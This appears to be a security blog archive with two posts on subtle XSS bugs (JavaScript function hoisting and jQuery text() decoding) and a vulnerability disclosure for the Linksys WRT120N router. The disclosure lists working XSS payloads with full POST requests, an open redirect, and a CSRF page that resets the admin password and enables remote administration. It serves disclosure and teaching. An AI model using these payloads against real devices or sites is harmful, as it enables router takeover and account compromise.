Showing posts with label xss. Show all posts
Showing posts with label xss. Show all posts

Sunday, July 23, 2017

True Tales of XSS: Function Hoisting

A simplified version of the code:
<script>
func().val('<?php echo htmlspecialchars($input, ENT_COMPAT, 'UTF-8'); ?>');
</script>
Overview: user-supplied $input is echoed into a JavaScript context after having HTML entities encoded. The func() JavaScript function is undefined, causing an exception and halting execution before any injected payload can be executed. We can't inject additional script tags due to the HTML encoding, so an XSS vector isn't immediately apparent.

But it's there.

To gain execution, we'll need to make sure func() is defined. We'll use a JavaScript feature called function hoisting. Hoisting allows a function to be defined after it's been used. The JavaScript interpreter will look ahead for an appropriate function definition and "hoist" it up in the code, so the function call can execute correctly.

We'll use the following payload:
'); function func() {payload}; //
In this payload, we'll finish the val() call, supplying an empty string. Next, we'll provide a definition of func() for the interpreter to hoist. We can insert our payload into func()'s definition and let the original call execute it. Lastly, we'll comment out the trailing "');" that's been left over from the original code.

Now the func() function is defined and will execute with our injected payload. You read a bit more about hoisting here and here.

Stay beautiful, XSS Rangers.

Saturday, March 25, 2017

True Tales of XSS: jQuery's text() Function

A simplified version of the code:
<div id="foo">
<?php echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); ?>
</div>

<script>
var bar = $('#foo').text();
$('#foo').html('<b>' + bar + '</b>');
</script>

Overview: user-supplied $input is echoed after having HTML entities encoded. Next, it's read by jQuery's text(), some decorative tags are added, and written back with html(). Although there's usually little reason to do this in jQuery, it doesn't appear to be vulnerable to XSS.

And yet, it is.

1. We feed a standard XSS test to $input:
<script>alert(1);</script>
2. The $input is encoded with htmlspecialchars(), effectively preventing our XSS from functioning:
 &lt;script&gt;alert(1);&lt;/script&gt;
 3. Our encoded $input is read by jQuery's text() method, which should remove tags and only return the text contents of HTML elements. So, at this point, we could assume our $input would still be:
&lt;script&gt;alert(1);&lt;/script&gt;
Or, if it also removes encoded tags, possibly:
alert(1);
However, text() actually decodes HTML entities and will happily return valid HTML, restoring our $input to its original state:
<script>alert(1);</script>
4. Decorative formatting tags are added to the $input:
<b><script>alert(1);</script></b>
5. The $input is written back to the page with html(), which will also execute our script tag and launch our test payload.

So, keep an eye out for the next time you see text() handling user input, XSS Rangers.

Sunday, September 15, 2013

Linksys WRT120N Multiple Vulnerabilities (XSS, Redirect, CSRF)

The following examples assume the device is located at 192.168.1.1. The attacks require authentication to the router or a CSRF attack against an authenticated user.

Firmware
v1.0.07 (Build 02) (Download)

Serial and PIN
The device serial number, PIN code, firmware, MAC, and other information can be found at https://192.168.1.1/Hidden_infoPage.stm

Open Redirect
Page: wait.stm
Param: redirect_url
https://192.168.1.1/wait.stm?redirect_url=http://www.google.com&delay_time=0

Reflected XSS
Page: traceroute.stm
Param: taddress
https://192.168.1.1/traceroute.stm?taddress=www.google.com'><script>alert(1);</script>

Persistent XSS
Page: Setup->Basic Setup
Param: host_name
Param: domain_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
host_name='><script>alert(1);</script>
&domain_name='><script>alert(1);</script>
&delay=0&opp=add&gateway1=&gateway2=&gateway3=&gateway4=&LangSel=0&change_lang=0&wan_type=0&curAtmIdx=3%27&dhcp_clt=1&mtu_type=0&lan_ip1=192&lan_ip2=168&lan_ip3=1&lan_ip4=1&lan_subnet_mask=0&lan_mask1=255&lan_mask2=255&lan_mask3=255&lan_mask4=0&dhcp_server=1&r_dhcp_server=1&start_ip4=100&num_addr=50&lease_m=1440&s_dns11=0&s_dns12=0&s_dns13=0&s_dns14=0&sdns1=0.0.0.0&s_dns21=0&s_dns22=0&s_dns23=0&s_dns24=0&sdns2=0.0.0.0&s_dns31=0&s_dns32=0&s_dns33=0&s_dns34=0&sdns3=0.0.0.0&wins1=0&wins2=0&wins3=0&wins4=0&time_zone=4+1&exec_cgis=SetBS&ret_url=%2Findex.stm%3Ftitle%3DSetup-Basic%2520Setup

Persistent XSS
Page: Setup->Advanced Routing
Param: router_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
router_name='><script>alert(1);</script>
&delay=0&op=add&NAT=1&nat_enable=1&RIP=0&set_num=0&sr_ip1=0&sr_ip2=0&sr_ip3=0&sr_ip4=0&sr_mask1=0&sr_mask2=0&sr_mask3=0&sr_mask4=0&sr_gw1=0&sr_gw2=0&sr_gw3=0&sr_gw4=0&routing_interface=0&exec_cgis=SetAR&ret_url=%2Findex.stm%3Ftitle%3DSetup-Advanced%2520Routing

Persistent XSS
Page: Wireless->Wireless Security
Param: sharedkey
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
sharedkey=</script><script>alert(1);//
&delay=0&sec_mode=psk1&enc_type=0&rds_ip1=0&rds_ip2=0&rds_ip3=0&rds_ip4=0&rds_port=1812&rds_secret=&group_key_second=3600&encryption_type=0&passPhrase=&generate=0&key1=&key2=&key3=&key4=&TX_Key=0&exec_cgis=WirWS&ret_url=%2Findex.stm%3Ftitle%3DWireless-Wireless%2520Security

Persistent XSS
Page: Applications & Gaming->Port Range Triggering
Param: name0 (All nameX fields are vulnerable)
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
name0="><script>alert(1);</script>
&delay=0&tport0_start=1&tport0_end=2&gport0_start=1&gport0_end=2&name1=&tport1_start=&tport1_end=&gport1_start=&gport1_end=&name2=&tport2_start=&tport2_end=&gport2_start=&gport2_end=&name3=&tport3_start=&tport3_end=&gport3_start=&gport3_end=&name4=&tport4_start=&tport4_end=&gport4_start=&gport4_end=&name5=&tport5_start=&tport5_end=&gport5_start=&gport5_end=&name6=&tport6_start=&tport6_end=&gport6_start=&gport6_end=&name7=&tport7_start=&tport7_end=&gport7_start=&gport7_end=&name8=&tport8_start=&tport8_end=&gport8_start=&gport8_end=&name9=&tport9_start=&tport9_end=&gport9_start=&gport9_end=&exec_cgis=AppPRT&ret_url=%2Findex.stm%3Ftitle%3DApplications%2520%2526%2520Gaming-Port%2520Range%2520Triggering

CSRF
Remote administration can be enabled and passwords can be changed via cross site request forgery. The following example page can be used.
<html>
<head><title>CSRF Test</title></head>
<body>
<form id="csrf" method="post"
    action="https://192.168.1.1/cgi-bin/apply.cgi">
<!-- Change admin password to NewPassword --!>
<input type="hidden" name="change_pass" value="1" />
<input type="hidden" name="password" value="NewPassword" />
<input type="hidden" name="c_password" value="NewPassword" />
<input type="hidden" name="defPassword" value="admin" />

<!-- Enable remote administration via https port 6666 --!>
<input type="hidden" name="r_web_https" value="1" />
<input type="hidden" name="r_web_wleb" value="1" />
<input type="hidden" name="remote_adm" value="1" />
<input type="hidden" name="r_remote_adm" value="1" />
<input type="hidden" name="r_remote_proto" value="1" />
<input type="hidden" name="admin_port" value="6666" />

<!-- Other values expected by the script --!>
<input type="hidden" name="delay" value="0" />
<input type="hidden" name="beginip" value="0.0.0.0" />
<input type="hidden" name="endip" value="0.0.0.0" />
<input type="hidden" name="upnp" value="1" />
<input type="hidden" name="r_upnp" value="1" />
<input type="hidden" name="r_upnp_uset" value="1" />
<input type="hidden" name="r_upnp_dinetacc" value="0" />
<input type="hidden" name="wlan" value="1" />
<input type="hidden" name="reboot" value="0" />
<input type="hidden" name="exec_cgis" value="AdmM" />
<input type="hidden" name="ret_url" 
    value="%2Findex.stm%3Ftitle%3DAdministration-Management" />
</form>
<script>document.getElementById("csrf").submit()</script>
</body>
</html>

OS Command Injection
Similar models (like the WRT110) suffer from blind command injection attacks in parameters on the Ping diagnostics page. While unverified, it's likely the WRT120N contains similar vulnerabilities. The router repeatedly power cycled while testing this, so your mileage may vary.
https://192.168.1.1/ping.stm?paddress=X&ping_size=X&ping_no=X&ping_int=X&ping_time=X

Timeline
  • 11 Apr 2013 - initial contact with support
  • 12 Apr 2013 - ticket opened
  • 17 Jul 2013 - asked for update
  • 18 Jul 2013 - update, ticket still open
  • 04 Sep 2013 - ticket closed
Response
Linksys support says that the 10 minute session timeout within the WRT120N will mitigate the attack, so no firmware update is to be released.